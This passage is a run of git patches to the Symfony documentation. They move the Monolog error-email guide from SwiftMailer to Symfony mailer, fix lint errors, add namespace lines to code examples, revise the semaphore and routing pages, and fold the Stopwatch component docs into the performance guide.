--- a/logging/monolog_email.rst
+++ b/logging/monolog_email.rst
@@ -4,10 +4,9 @@
 How to Configure Monolog to Email Errors
 ========================================
 
-.. caution::
+.. versionadded:: 3.6.0
 
-    This feature is not compatible yet with the new :doc:`Symfony mailer </mailer>`,
-    so it requires using SwiftMailer.
+    Support for emailing errors using :doc:`Symfony mailer </mailer>` was added in MonologBundle 3.6.0.
 
 `Monolog`_ can be configured to send an email when an error occurs within an
 application. The configuration for this requires a few nested handlers
@@ -33,9 +32,9 @@ it is broken down.
                     handler:      deduplicated
                 deduplicated:
                     type:    deduplication
-                    handler: swift
-                swift:
-                    type:       swift_mailer
+                    handler: symfony_mailer
+                symfony_mailer:
+                    type:       symfony_mailer
                     from_email: 'error@example.com'
                     to_email:   'error@example.com'
                     # or list of recipients
@@ -73,11 +72,11 @@ it is broken down.
                 <monolog:handler
                     name="deduplicated"
                     type="deduplication"
-                    handler="swift"
+                    handler="symfony_mailer"
                 />
                 <monolog:handler
-                    name="swift"
-                    type="swift_mailer"
+                    name="symfony_mailer"
+                    type="symfony_mailer"
                     from-email="error@example.com"
                     subject="An Error Occurred! %%message%%"
                     level="debug"
@@ -114,10 +113,10 @@ it is broken down.
                 ],
                 'deduplicated' => [
                     'type'    => 'deduplication',
-                    'handler' => 'swift',
+                    'handler' => 'symfony_mailer',
                 ],
-                'swift' => [
-                    'type'         => 'swift_mailer',
+                'symfony_mailer' => [
+                    'type'         => 'symfony_mailer',
                     'from_email'   => 'error@example.com',
                     'to_email'     => 'error@example.com',
                     // or a list of recipients
@@ -162,7 +161,7 @@ You can adjust the time period using the ``time`` option:
                     type: deduplication
                     # the time in seconds during which duplicate entries are discarded (default: 60)
                     time: 10
-                    handler: swift
+                    handler: symfony_mailer
 
     .. code-block:: xml
 
@@ -172,7 +171,7 @@ You can adjust the time period using the ``time`` option:
         <monolog:handler name="deduplicated"
             type="deduplication"
             time="10"
-            handler="swift"/>
+            handler="symfony_mailer"/>
 
     .. code-block:: php
 
@@ -184,12 +183,12 @@ You can adjust the time period using the ``time`` option:
                     'type'    => 'deduplication',
                     // the time in seconds during which duplicate entries are discarded (default: 60)
                     'time' => 10,
-                    'handler' => 'swift',
+                    'handler' => 'symfony_mailer',
                 ],
             ],
         ]);
 
-The messages are then passed to the ``swift`` handler. This is the handler that
+The messages are then passed to the ``symfony_mailer`` handler. This is the handler that
 actually deals with emailing you the error. The settings for this are
 straightforward, the to and from addresses, the formatter, the content type
 and the subject.
@@ -217,9 +216,9 @@ get logged on the server as well as the emails being sent:
                     level: debug
                 deduplicated:
                     type:    deduplication
-                    handler: swift
-                swift:
-                    type:         swift_mailer
+                    handler: symfony_mailer
+                symfony_mailer:
+                    type:         symfony_mailer
                     from_email:   'error@example.com'
                     to_email:     'error@example.com'
                     subject:      'An Error Occurred! %%message%%'
@@ -259,11 +258,11 @@ get logged on the server as well as the emails being sent:
                 <monolog:handler
                     name="deduplicated"
                     type="deduplication"
-                    handler="swift"
+                    handler="symfony_mailer"
                 />
                 <monolog:handler
-                    name="swift"
-                    type="swift_mailer"
+                    name="symfony_mailer"
+                    type="symfony_mailer"
                     from-email="error@example.com"
                     subject="An Error Occurred! %%message%%"
                     level="debug"
@@ -303,10 +302,10 @@ get logged on the server as well as the emails being sent:
                 ],
                 'deduplicated' => [
                     'type'     => 'deduplication',
-                    'handler'  => 'swift',
+                    'handler'  => 'symfony_mailer',
                 ],
-                'swift' => [
-                    'type'         => 'swift_mailer',
+                'symfony_mailer' => [
+                    'type'         => 'symfony_mailer',
                     'from_email'   => 'error@example.com',
                     'to_email'     => 'error@example.com',
                     // or a list of recipients

From 922932f6c1b32580a19937ab06211e04100cd8fc Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Date: Tue, 6 Oct 2020 18:09:46 +0200
Subject: [PATCH 1268/7107] Makes DOCtor-RST happy

Error: You are not allowed to use version "3.6.0". Only major version "5" is allowed.
Error: Please only provide ".. versionadded::" if the version is greater/equal "5.0"
---
 logging/monolog_email.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/logging/monolog_email.rst b/logging/monolog_email.rst
index cfa2730265f..225bcd923c8 100644
--- a/logging/monolog_email.rst
+++ b/logging/monolog_email.rst
@@ -4,7 +4,7 @@
 How to Configure Monolog to Email Errors
 ========================================
 
-.. versionadded:: 3.6.0
+.. versionadded:: 3.6
 
     Support for emailing errors using :doc:`Symfony mailer </mailer>` was added in MonologBundle 3.6.0.
 

From 1e202b89308a6b35a389d9d24afb4a5fe9d6e545 Mon Sep 17 00:00:00 2001
From: gary houbre <ghoubre@sqli.com>
Date: Mon, 5 Oct 2020 15:58:13 +0200
Subject: [PATCH 1269/7107] Missing Namespace

---
 event_dispatcher.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index b162fe035f1..c7fa7b7d905 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -289,6 +289,8 @@ This alias mapping can be extended for custom events by registering the
 compiler pass ``AddEventAliasesPass``::
 
     // src/Kernel.php
+    namespace App;
+
     use App\Event\MyCustomEvent;
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\EventDispatcher\DependencyInjection\AddEventAliasesPass;

From 533ea5799570e6e87584e44cc4c3b1c361b6a473 Mon Sep 17 00:00:00 2001
From: gary houbre <ghoubre@sqli.com>
Date: Mon, 5 Oct 2020 16:55:50 +0200
Subject: [PATCH 1270/7107] Missing Namespace and comment from service
 container and testing context

---
 service_container/3.3-di-changes.rst     |  7 +++++++
 service_container/autowiring.rst         | 10 ++++++++++
 service_container/calls.rst              |  2 ++
 service_container/factories.rst          |  9 +++++++++
 service_container/injection_types.rst    |  7 +++++++
 service_container/request.rst            |  1 +
 service_container/service_decoration.rst |  1 +
 testing/profiling.rst                    |  3 +++
 8 files changed, 40 insertions(+)

diff --git a/service_container/3.3-di-changes.rst b/service_container/3.3-di-changes.rst
index eccdc590db4..d57be2c0e5b 100644
--- a/service_container/3.3-di-changes.rst
+++ b/service_container/3.3-di-changes.rst
@@ -264,6 +264,8 @@ But in Symfony 3.3, thanks to autowiring, all you need to do is type-hint the
 argument with ``InvoiceGenerator``::
 
     // src/Service/InvoiceMailer.php
+    namespace App\Service;
+
     // ...
 
     class InvoiceMailer
@@ -388,6 +390,9 @@ and autowiring like any other service.
 To make life even easier, it's now possible to autowire arguments to your controller
 action methods, like you can with the constructor of services. For example::
 
+    // src/Controller/InvoiceController.php
+    namespace App\Controller;
+
     use Psr\Log\LoggerInterface;
 
     class InvoiceController extends AbstractController
@@ -417,6 +422,8 @@ this file. For example, suppose you want to create an event subscriber. First, y
 create the class::
 
     // src/EventSubscriber/SetHeaderSusbcriber.php
+    namespace App\EventSubscriber;
+
     // ...
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index bf17f0db369..167fb4562f4 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -24,6 +24,7 @@ the alphabet.
 
 Start by creating a ROT13 transformer class::
 
+    // src/Util/Rot13Transformer.php
     namespace App\Util;
 
     class Rot13Transformer
@@ -36,6 +37,7 @@ Start by creating a ROT13 transformer class::
 
 And now a Twitter client using this transformer::
 
+    // src/Service/TwitterClient.php
     namespace App\Service;
 
     use App\Util\Rot13Transformer;
@@ -122,6 +124,7 @@ both services:
 
 Now, you can use the ``TwitterClient`` service immediately in a controller::
 
+    // src/Controller/DefaultController.php
     namespace App\Controller;
 
     use App\Service\TwitterClient;
@@ -153,6 +156,9 @@ Autowiring Logic Explained
 
 Autowiring works by reading the ``Rot13Transformer`` *type-hint* in ``TwitterClient``::
 
+    // src/Service/TwitterClient.php
+    namespace App\Service;
+
     // ...
     use App\Util\Rot13Transformer;
 
@@ -277,6 +283,7 @@ of concrete classes as it replaces your dependencies with other objects.
 
 To follow this best practice, suppose you decide to create a ``TransformerInterface``::
 
+    // src/Util/TransformerInterface.php
     namespace App\Util;
 
     interface TransformerInterface
@@ -376,6 +383,7 @@ Dealing with Multiple Implementations of the Same Type
 Suppose you create a second class - ``UppercaseTransformer`` that implements
 ``TransformerInterface``::
 
+    // src/Util/UppercaseTransformer.php
     namespace App\Util;
 
     class UppercaseTransformer implements TransformerInterface
@@ -404,6 +412,7 @@ create a *named autowiring alias* from a special string containing the
 interface followed by a variable name matching the one you use when doing
 the injection::
 
+    // src/Service/MastodonClient.php
     namespace App\Service;
 
     use App\Util\TransformerInterface;
@@ -546,6 +555,7 @@ When autowiring is enabled for a service, you can *also* configure the container
 to call methods on your class when it's instantiated. For example, suppose you want
 to inject the ``logger`` service, and decide to use setter-injection::
 
+    // src/Util/Rot13Transformer.php
     namespace App\Util;
 
     class Rot13Transformer
diff --git a/service_container/calls.rst b/service_container/calls.rst
index c3797cb8917..00069a2ccb2 100644
--- a/service_container/calls.rst
+++ b/service_container/calls.rst
@@ -13,6 +13,7 @@ Usually, you'll want to inject your dependencies via the constructor. But someti
 especially if a dependency is optional, you may want to use "setter injection". For
 example::
 
+    // src/Service/MessageGenerator.php
     namespace App\Service;
 
     use Psr\Log\LoggerInterface;
@@ -84,6 +85,7 @@ To provide immutable services, some classes implement immutable setters.
 Such setters return a new instance of the configured class
 instead of mutating the object they were called on::
 
+    // src/Service/MessageGenerator.php
     namespace App\Service;
 
     use Psr\Log\LoggerInterface;
diff --git a/service_container/factories.rst b/service_container/factories.rst
index 91c37df7ca5..f6ccd5a1198 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -19,6 +19,11 @@ Static Factories
 Suppose you have a factory that configures and returns a new ``NewsletterManager``
 object by calling the static ``createNewsletterManager()`` method::
 
+    // src/Email\NewsletterManagerStaticFactory.php
+    namespace App\Email;
+
+    // ...
+
     class NewsletterManagerStaticFactory
     {
         public static function createNewsletterManager()
@@ -169,6 +174,10 @@ Invokable Factories
 Suppose you now change your factory method to ``__invoke()`` so that your
 factory service can be used as a callback::
 
+    // src/Email/InvokableNewsletterManagerFactory.php
+    namespace App\Email;
+
+    // ...
     class InvokableNewsletterManagerFactory
     {
         public function __invoke()
diff --git a/service_container/injection_types.rst b/service_container/injection_types.rst
index ceb586b02b3..097540bd8f6 100644
--- a/service_container/injection_types.rst
+++ b/service_container/injection_types.rst
@@ -19,6 +19,7 @@ The most common way to inject dependencies is via a class's constructor.
 To do this you need to add an argument to the constructor signature to accept
 the dependency::
 
+    // src/Mail/NewsletterManager.php
     namespace App\Mail;
 
     // ...
@@ -115,6 +116,9 @@ Immutable-setter Injection
 Another possible injection is to use a method which returns a separate instance
 by cloning the original service, this approach allows you to make a service immutable::
 
+    // src/Mail/NewsletterManager.php
+    namespace App\Mail;
+
     // ...
     use Symfony\Component\Mailer\MailerInterface;
 
@@ -218,6 +222,9 @@ Setter Injection
 Another possible injection point into a class is by adding a setter method
 that accepts the dependency::
 
+    // src/Mail/NewsletterManager.php
+    namespace App\Mail;
+    
     // ...
     class NewsletterManager
     {
diff --git a/service_container/request.rst b/service_container/request.rst
index 10637e7feac..d72a533507b 100644
--- a/service_container/request.rst
+++ b/service_container/request.rst
@@ -11,6 +11,7 @@ add it as an argument to the methods that need the request or inject the
 :method:`Symfony\\Component\\HttpFoundation\\RequestStack::getCurrentRequest`
 method::
 
+    // src/Newsletter/NewsletterManager.php
     namespace App\Newsletter;
 
     use Symfony\Component\HttpFoundation\RequestStack;
diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index c8293a5ca55..70572c4e77a 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -378,6 +378,7 @@ Three different behaviors are available:
     When using ``null``, you may have to update the decorator constructor in
     order to make decorated dependency nullable::
 
+        // src/Service/DecoratorService.php
         namespace App\Service;
 
         use Acme\OptionalBundle\Service\OptionalService;
diff --git a/testing/profiling.rst b/testing/profiling.rst
index 882d2bdbf15..d3fa71f8e76 100644
--- a/testing/profiling.rst
+++ b/testing/profiling.rst
@@ -69,6 +69,9 @@ The data collected by the Symfony Profiler can be used to check the number of
 database calls, the time spent in the framework, etc. All this information is
 provided by the collectors obtained through the ``$client->getProfile()`` call::
 
+    // tests/Controller/LuckyControllerTest.php
+    namespace App\Tests\Controller;
+    
     use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
 
     class LuckyControllerTest extends WebTestCase

From d20f07c2e560ffca6790ff3ef54793decb2f637d Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 7 Oct 2020 08:13:14 +0200
Subject: [PATCH 1271/7107] Fix: DOXtor-RST

---
 .doctor-rst.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index f3ac893b0cd..3051b9325f4 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -92,3 +92,4 @@ whitelist:
         - '.. versionadded:: 0.2' # MercureBundle
         - 'provides a ``loginUser()`` method to simulate logging in in your functional'
         - '.. code-block:: twig'
+        - '.. versionadded:: 3.6' # MonologBundle

From 202b9e6834df02d151fb87349e71597973d5e0a1 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 7 Oct 2020 08:13:50 +0200
Subject: [PATCH 1272/7107] Update message

---
 logging/monolog_email.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/logging/monolog_email.rst b/logging/monolog_email.rst
index 225bcd923c8..2a07a08f706 100644
--- a/logging/monolog_email.rst
+++ b/logging/monolog_email.rst
@@ -6,7 +6,7 @@ How to Configure Monolog to Email Errors
 
 .. versionadded:: 3.6
 
-    Support for emailing errors using :doc:`Symfony mailer </mailer>` was added in MonologBundle 3.6.0.
+    Support for emailing errors using :doc:`Symfony mailer </mailer>` was added in MonologBundle 3.6.
 
 `Monolog`_ can be configured to send an email when an error occurs within an
 application. The configuration for this requires a few nested handlers

From 5ddd135bc3669aa61278fd57c71b32b16999c37a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 7 Oct 2020 09:24:48 +0200
Subject: [PATCH 1273/7107] Tweaks

---
 components/semaphore.rst | 22 ++++++++++++----------
 1 file changed, 12 insertions(+), 10 deletions(-)

diff --git a/components/semaphore.rst b/components/semaphore.rst
index 4677b0627ba..5f26c781164 100644
--- a/components/semaphore.rst
+++ b/components/semaphore.rst
@@ -24,10 +24,14 @@ Installation
 Usage
 -----
 
-Semaphore are used to guarantee exclusive access to some shared resource.
+In computer science, a semaphore is a variable or abstract data type used to
+control access to a common resource by multiple processes in a concurrent
+system such as a multitasking operating system. The main difference
+with :doc:`locks </lock>` is that semaphores allow more than one process to
+access a resource, whereas locks only allow one process.
 
-Semaphore are created using a :class:`Symfony\\Component\\Semaphore\\SemaphoreFactory` class,
-which in turn requires another class to manage the storage of Semaphore::
+Create semaphores with the :class:`Symfony\\Component\\Semaphore\\SemaphoreFactory`
+class, which in turn requires another class to manage the storage::
 
     use Symfony\Component\Semaphore\SemaphoreFactory;
     use Symfony\Component\Semaphore\Store\RedisStore;
@@ -38,13 +42,12 @@ which in turn requires another class to manage the storage of Semaphore::
     $store = new RedisStore($redis);
     $factory = new SemaphoreFactory($store);
 
-
 The semaphore is created by calling the
 :method:`Symfony\\Component\\Semaphore\\SemaphoreFactory::createSemaphore`
 method. Its first argument is an arbitrary string that represents the locked
-resource. Its second argument is the number of process allowed. Then, a call to
-the :method:`Symfony\\Component\\Semaphore\\SemaphoreInterface::acquire` method
-will try to acquire the semaphore::
+resource. Its second argument is the maximum number of process allowed. Then, a
+call to the :method:`Symfony\\Component\\Semaphore\\SemaphoreInterface::acquire`
+method will try to acquire the semaphore::
 
     // ...
     $semaphore = $factory->createSemaphore('pdf-invoice-generation', 2);
@@ -62,7 +65,7 @@ already acquired.
 
 .. note::
 
-    Unlike other implementations, the Semaphore Component distinguishes
+    Unlike other implementations, the Semaphore component distinguishes
     semaphores instances even when they are created for the same resource. If a
     semaphore has to be used by several services, they should share the same
     ``Semaphore`` instance returned by the ``SemaphoreFactory::createSemaphore``
@@ -73,7 +76,6 @@ already acquired.
     If you don't release the semaphore explicitly, it will be released
     automatically on instance destruction. In some cases, it can be useful to
     lock a resource across several requests. To disable the automatic release
-    behavior, set the last argument of the ``createLock()`` method to
-    ``false``.
+    behavior, set the fifth argument of the ``createLock()`` method to ``false``.
 
 .. _`semaphores`: https://en.wikipedia.org/wiki/Semaphore_(programming)

From 2fbe60d8f7c1fc6a3748e72c35d05aeea06a1e13 Mon Sep 17 00:00:00 2001
From: Youssef Benhssaien <youssefbenhssaien@gmail.com>
Date: Sun, 4 Oct 2020 09:08:31 +0200
Subject: [PATCH 1274/7107] Multiple PHP class per file not allowed

Since `AnnotationFileLoader` from `Routing` component parses and loads only one class per file while ignoring others class if declared in the same file, it is good to let know people about this behaviour to not be surprised.
---
 routing.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/routing.rst b/routing.rst
index 117fd75bded..bd256fca9b5 100644
--- a/routing.rst
+++ b/routing.rst
@@ -46,6 +46,10 @@ following configuration file:
 This configuration tells Symfony to look for routes defined as annotations in
 any PHP class stored in the ``src/Controller/`` directory.
 
+.. caution::
+
+    If you define multiple PHP class per file, only the first declared class can be loaded, try to define one PHP class per file instead, visit `PSR-4 <https://www.php-fig.org/psr/psr-4/>`_ for more details.
+
 Suppose you want to define a route for the ``/blog`` URL in your application. To
 do so, create a :doc:`controller class </controller>` like the following::
 

From 064c10665bcdeaf8e2012013ff21f2d6cd4edfe5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 7 Oct 2020 09:58:21 +0200
Subject: [PATCH 1275/7107] Tweak

---
 routing.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/routing.rst b/routing.rst
index bd256fca9b5..9bd09e531cc 100644
--- a/routing.rst
+++ b/routing.rst
@@ -46,10 +46,6 @@ following configuration file:
 This configuration tells Symfony to look for routes defined as annotations in
 any PHP class stored in the ``src/Controller/`` directory.
 
-.. caution::
-
-    If you define multiple PHP class per file, only the first declared class can be loaded, try to define one PHP class per file instead, visit `PSR-4 <https://www.php-fig.org/psr/psr-4/>`_ for more details.
-
 Suppose you want to define a route for the ``/blog`` URL in your application. To
 do so, create a :doc:`controller class </controller>` like the following::
 
@@ -80,6 +76,11 @@ the ``list()`` method of the ``BlogController`` class.
     example, URLs like ``/blog?foo=bar`` and ``/blog?foo=bar&bar=foo`` will
     also match the ``blog_list`` route.
 
+.. caution::
+
+    If you define multiple PHP classes in the same file, Symfony only loads the
+    routes of the first class, ignoring all the other routes.
+
 The route name (``blog_list``) is not important for now, but it will be
 essential later when :ref:`generating URLs <routing-generating-urls>`. You only
 have to keep in mind that each route name must be unique in the application.

From fc847c4a580f16743d79583b10db0436923cadeb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 9 Sep 2019 13:10:02 +0200
Subject: [PATCH 1276/7107] [Stopwatch] Move component docs into framework
 guides

---
 _build/redirection_map        |   1 +
 components/phpunit_bridge.rst |   4 +-
 components/stopwatch.rst      | 126 ----------------------------
 page_creation.rst             |   2 +
 performance.rst               | 152 +++++++++++++++++++++++++++++-----
 profiler.rst                  |  20 +----
 reference/twig_reference.rst  |   8 +-
 7 files changed, 145 insertions(+), 168 deletions(-)
 delete mode 100644 components/stopwatch.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index 75b0c28da2b..66fc6db1b47 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -507,3 +507,4 @@
 /components/http_client /http_client
 /components/mailer /mailer
 /messenger/message-recorder messenger/dispatch_after_current_bus
+/components/stopwatch https://github.com/symfony/stopwatch
diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 095a4840d64..31d5de1759b 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -477,8 +477,8 @@ If you have this kind of time-related tests::
         }
     }
 
-You used the :doc:`Symfony Stopwatch Component </components/stopwatch>` to
-calculate the duration time of your process, here 10 seconds. However, depending
+You calculated the duration time of your process using the Stopwatch utilities to
+:ref:`profile Symfony applications <profiling-applications>`. However, depending
 on the load of the server or the processes running on your local machine, the
 ``$duration`` could for example be ``10.000023s`` instead of ``10s``.
 
diff --git a/components/stopwatch.rst b/components/stopwatch.rst
deleted file mode 100644
index e6e11d9c53e..00000000000
--- a/components/stopwatch.rst
+++ /dev/null
@@ -1,126 +0,0 @@
-.. index::
-   single: Stopwatch
-   single: Components; Stopwatch
-
-The Stopwatch Component
-=======================
-
-    The Stopwatch component provides a way to profile code.
-
-Installation
-------------
-
-.. code-block:: terminal
-
-    $ composer require symfony/stopwatch
-
-.. include:: /components/require_autoload.rst.inc
-
-Usage
------
-
-The Stopwatch component provides a consistent way to measure execution
-time of certain parts of code so that you don't constantly have to parse
-:phpfunction:`microtime` by yourself. Instead, use the
-:class:`Symfony\\Component\\Stopwatch\\Stopwatch` class::
-
-    use Symfony\Component\Stopwatch\Stopwatch;
-
-    $stopwatch = new Stopwatch();
-
-    // starts event named 'eventName'
-    $stopwatch->start('eventName');
-
-    // ... run your code here
-
-    $event = $stopwatch->stop('eventName');
-    // you can convert $event into a string for a quick summary
-    // e.g. (string) $event = '4.50 MiB - 26 ms'
-
-The :class:`Symfony\\Component\\Stopwatch\\StopwatchEvent` object can be retrieved
-from the  :method:`Symfony\\Component\\Stopwatch\\Stopwatch::start`,
-:method:`Symfony\\Component\\Stopwatch\\Stopwatch::stop`,
-:method:`Symfony\\Component\\Stopwatch\\Stopwatch::lap` and
-:method:`Symfony\\Component\\Stopwatch\\Stopwatch::getEvent` methods.
-The latter should be used when you need to retrieve the duration of an event
-while it is still running.
-
-.. tip::
-
-    By default, the stopwatch truncates any sub-millisecond time measure to ``0``,
-    so you can't measure microseconds or nanoseconds. If you need more precision,
-    pass ``true`` to the ``Stopwatch`` class constructor to enable full precision::
-
-        $stopwatch = new Stopwatch(true);
-
-The stopwatch can be reset to its original state at any given time with the
-:method:`Symfony\\Component\\Stopwatch\\Stopwatch::reset` method, which deletes
-all the data measured so far.
-
-You can also provide a category name to an event::
-
-    $stopwatch->start('eventName', 'categoryName');
-
-You can consider categories as a way of tagging events. For example, the
-Symfony Profiler tool uses categories to nicely color-code different events.
-
-.. tip::
-
-    Read :ref:`this article <profiler-timing-execution>` to learn more about
-    integrating the Stopwatch component into the Symfony profiler.
-
-Periods
--------
-
-As you know from the real world, all stopwatches come with two buttons:
-one to start and stop the stopwatch, and another to measure the lap time.
-This is exactly what the :method:`Symfony\\Component\\Stopwatch\\Stopwatch::lap`
-method does::
-
-    $stopwatch = new Stopwatch();
-    // starts event named 'foo'
-    $stopwatch->start('foo');
-    // ... some code goes here
-    $stopwatch->lap('foo');
-    // ... some code goes here
-    $stopwatch->lap('foo');
-    // ... some other code goes here
-    $event = $stopwatch->stop('foo');
-
-Lap information is stored as "periods" within the event. To get lap information
-call::
-
-    $event->getPeriods();
-
-In addition to periods, you can get other useful information from the event object.
-For example::
-
-    $event->getCategory();   // returns the category the event was started in
-    $event->getOrigin();     // returns the event start time in milliseconds
-    $event->ensureStopped(); // stops all periods not already stopped
-    $event->getStartTime();  // returns the start time of the very first period
-    $event->getEndTime();    // returns the end time of the very last period
-    $event->getDuration();   // returns the event duration, including all periods
-    $event->getMemory();     // returns the max memory usage of all periods
-
-Sections
---------
-
-Sections are a way to logically split the timeline into groups. You can see
-how Symfony uses sections to nicely visualize the framework lifecycle in the
-Symfony Profiler tool. Here is a basic usage example using sections::
-
-    $stopwatch = new Stopwatch();
-
-    $stopwatch->openSection();
-    $stopwatch->start('parsing_config_file', 'filesystem_operations');
-    $stopwatch->stopSection('routing');
-
-    $events = $stopwatch->getSectionEvents('routing');
-
-You can reopen a closed section by calling the :method:`Symfony\\Component\\Stopwatch\\Stopwatch::openSection`
-method and specifying the id of the section to be reopened::
-
-    $stopwatch->openSection('routing');
-    $stopwatch->start('building_config_tree');
-    $stopwatch->stopSection('routing');
diff --git a/page_creation.rst b/page_creation.rst
index 0e82596dfac..1835308804e 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -176,6 +176,8 @@ the debugging routes in the next section.
 
 You'll learn about many more commands as you continue!
 
+.. _web-debug-toolbar:
+
 The Web Debug Toolbar: Debugging Dream
 --------------------------------------
 
diff --git a/performance.rst b/performance.rst
index 2356bd18911..ec9d44e5610 100644
--- a/performance.rst
+++ b/performance.rst
@@ -8,14 +8,24 @@ Symfony is fast, right out of the box. However, you can make it faster if you
 optimize your servers and your applications as explained in the following
 performance checklists.
 
-Symfony Application Checklist
------------------------------
+Performance Checklists
+----------------------
 
-These are the code and configuration changes that you can make in your Symfony
-application to improve its performance:
+Use these checklists to verify that your application and server are configured
+for maximum performance:
 
-#. :ref:`Install APCu Polyfill if your server uses APC <performance-install-apcu-polyfill>`
-#. :ref:`Dump the service container into a single file <performance-service-container-single-file>`
+* **Symfony Application Checklist**:
+
+  #. :ref:`Install APCu Polyfill if your server uses APC <performance-install-apcu-polyfill>`
+
+* **Production Server Checklist**:
+
+  #. :ref:`Dump the service container into a single file <performance-service-container-single-file>`
+  #. :ref:`Use the OPcache byte code cache <performance-use-opcache>`
+  #. :ref:`Configure OPcache for maximum performance <performance-configure-opcache>`
+  #. :ref:`Don't check PHP files timestamps <performance-dont-check-timestamps>`
+  #. :ref:`Configure the PHP realpath Cache <performance-configure-realpath-cache>`
+  #. :ref:`Optimize Composer Autoloader <performance-optimize-composer-autoloader>`
 
 .. _performance-install-apcu-polyfill:
 
@@ -72,19 +82,6 @@ container into a single file, which could improve performance when using
         // ...
         $container->setParameter('container.dumper.inline_factories', true);
 
-Production Server Checklist
----------------------------
-
-These are the changes that you can make in your production server to improve
-performance when running Symfony applications:
-
-#. :ref:`Use the OPcache byte code cache <performance-use-opcache>`
-#. :ref:`Use the OPcache class preloading <performance-use-preloading>`
-#. :ref:`Configure OPcache for maximum performance <performance-configure-opcache>`
-#. :ref:`Don't check PHP files timestamps <performance-dont-check-timestamps>`
-#. :ref:`Configure the PHP realpath Cache <performance-configure-realpath-cache>`
-#. :ref:`Optimize Composer Autoloader <performance-optimize-composer-autoloader>`
-
 .. _performance-use-opcache:
 
 Use the OPcache Byte Code Cache
@@ -212,6 +209,120 @@ deployment process too):
   used in your application and prevents Composer from scanning the file system for
   classes that are not found in the class map. (see: `Composer's autoloader optimization`_).
 
+.. _profiling-applications:
+
+Profiling Applications
+----------------------
+
+`Blackfire`_ is the best tool to profile and optimize performance of Symfony
+applications during development, test and production. It's a commercial service,
+but provides free features that you can use to find bottlenecks in your projects.
+
+Symfony provides a basic performance profiler in the development
+:ref:`config environment <configuration-environments>`. Click on the "time panel"
+of the :ref:`web debug toolbar <web-debug-toolbar>` to see how much time Symfony
+spent on tasks such as making database queries and rendering templates.
+
+Custom Profiling
+~~~~~~~~~~~~~~~~
+
+You can measure the execution time and memory consumption of your own code and
+display the result in the Symfony profiler thanks to the `Stopwatch component`_.
+
+When using :ref:`autowiring <services-autowire>`, type-hint any controller or
+service argument with the :class:`Symfony\\Component\\Stopwatch\\Stopwatch` class
+and Symfony will inject the ``debug.stopwatch`` service::
+
+    use Symfony\Component\Stopwatch\Stopwatch;
+
+    class DataExporter
+    {
+        private $stopwatch;
+
+        public function __construct(Stopwatch $stopwatch)
+        {
+            $this->stopwatch = $stopwatch;
+        }
+
+        public function export()
+        {
+            // the argument is the name of the "profiling event"
+            $this->stopwatch->start('export-data');
+
+            // ...do things to export data...
+
+            // reset the stopwatch to delete all the data measured so far
+            // $this->stopwatch->reset();
+
+            $this->stopwatch->stop('export-data');
+        }
+    }
+
+If the request calls this service during its execution, you'll see a new
+event called ``export-data`` in the Symfony profiler.
+
+The ``start()``, ``stop()`` and ``getEvent()`` methods return a
+:class:`Symfony\\Component\\Stopwatch\\StopwatchEvent` object that provides
+information about the current event, even while it's still running. This
+object can be converted to a string for a quick summary::
+
+    // ...
+    dump((string) $this->stopwatch->getEvent()); // dumps e.g. '4.50 MiB - 26 ms'
+
+You can also profile your template code with the :ref:`stopwatch Twig tag <reference-twig-tag-stopwatch>`:
+
+.. code-block:: twig
+
+    {% stopwatch 'render-blog-posts' %}
+        {% for post in blog_posts%}
+            {# ... #}
+        {% endfor %}
+    {% endstopwatch %}
+
+Profiling Categories
+....................
+
+Use the second optional argument of the ``start()`` method to define the
+category or tag of the event. This helps keep events organized by type::
+
+    $this->stopwatch->start('export-data', 'export');
+
+Profiling Periods
+.................
+
+A `real-world stopwatch`_ not only includes the start/stop button but also a
+"lap button" to measure each partial lap. This is exactly what the ``lap()``
+method does, which stops an event and then restarts it immediately::
+
+    $this->stopwatch->start('process-data-records', 'export');
+
+    foreach ($records as $record) {
+        // ... some code goes here
+        $this->stopwatch->lap('process-data-records');
+    }
+
+    $event = $this->stopwatch->stop('process-data-records');
+    // $event->getDuration(), $event->getMemory(), etc.
+
+    // Lap information is stored as "periods" within the event:
+    // $event->getPeriods();
+
+Profiling Sections
+..................
+
+Sections are a way to split the profile timeline into groups. Example::
+
+    $this->stopwatch->openSection();
+    $this->stopwatch->start('validating-file', 'validation');
+    $this->stopwatch->stopSection('parsing');
+
+    $events = $this->stopwatch->getSectionEvents('parsing');
+
+    // later you can reopen a section passing its name to the openSection() method
+    $this->stopwatch->openSection('parsing');
+    $this->stopwatch->start('processing-file');
+    $this->stopwatch->stopSection('parsing');
+
 Learn more
 ----------
 
